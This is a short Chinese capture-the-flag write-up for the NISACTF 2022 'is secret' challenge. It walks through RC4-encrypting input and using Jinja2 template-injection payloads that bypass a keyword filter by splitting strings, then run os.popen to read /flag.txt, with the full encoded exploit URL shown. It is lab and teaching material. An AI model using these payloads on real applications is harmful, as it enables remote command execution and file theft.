[NISACTF 2022]is secret

EXP

这题会对传入的payload进行rc4加密,但因为rc4是堆成加密,对密文进行加密就可以获得明文,所以我们需要用一个rec4加密脚本来对我们的明文加密成密文,这样才可以在题目docker中被解析成明文

脚本:RC4加密脚本(输出为URL)

密钥可以在报错中寻找

密钥:HereIsTreasure

接着我们构造我们的payload

这一题过滤了超多东西,但好在没有过滤[] 符号,我们就可以利用这个符号去拼接字符串从而实现利用对象的属性

构造的payload如下

{{ lipsum['__global''s__']['__buil''tins__'].get('ev''al')("__im""port__('o''s').po""pen('c""at /flag.txt')")['re''ad']() }}

思路是利用lipsum全局函数获得globals (这里因为过滤了globals 关键字,所以需要使用字符串拼接的方式来绕过过滤)函数,然后再利用globals函数得到builthins内建属性,再利用这个属性获得python的eval函数,然后再导入os模块,使用os模块中的popen函数来cat /flag.txt,并利用read()实现回显

最终payload

http://43.142.108.3:28372/secret?secret=.%14%19Y%C2%A3%17%18%7Bf%C2%A6%C2%9F%2C%C2%81%C2%B5%C3%BA%C2%A76%C2%92Xs%C3%B0A%C3%9FMM%C2%AC%03%C3%8Em%C3%B30%C3%B2%24%C2%87%0A%C2%91%1C%C3%B8%26%C3%B7D%C3%A5%C3%8A%C3%9F%23%09%C2%B8%0E%C3%AD%C3%BACz%25%C2%AC%2B%60%C3%90v%00%C2%86%C2%86u%18%C3%B8%C3%96%5B%C2%AAF%28P%08%C3%96%07%C2%9C6%C2%A7%3B%C2%80/%10p%26J%C3%8D%C2%94K%C2%BD%C2%B8%C3%AE%C2%80%C3%AD%C3%83%C2%A4%21%5C%C3%98%C3%88%C2%B4%C2%BB%C3%AE%7D%08%C3%B3%C2%9CA%C3%83k%16S%C3%AE%C3%82X2b%0Bd%C3%98%C2%AF%C2%A6j6%C3%AC%3E%1E

 

第二次尝试

经过尝试,还有更短的payload

{{ lipsum['__global''s__']['o''s']['po''pen']('c""at /flag.txt')['re''ad']() }}

加密后

.%14%19Y%C2%A3%17%18%7Bf%C2%A6%C2%9F%2C%C2%81%C2%B5%C3%BA%C2%A76%C2%92Xs%C3%B0A%C3%9FMM%C2%AC%03%C3%8E%5D%C2%8Bu%C3%B4j%C2%B6v%C2%91%18%C3%BEo%C2%A3k%C3%9F%C2%83%C2%A5PF%C3%BA%19%C3%A7%C3%BFGx%22%C2%A4%2C%60%C2%968%06%C3%90%C2%A1%5EV%C2%BC%C2%AF%5E%C2%A8L%7D%036%C3%AD%08%C3%A6q%C2%A9%3C%C2%8Eu

简单好多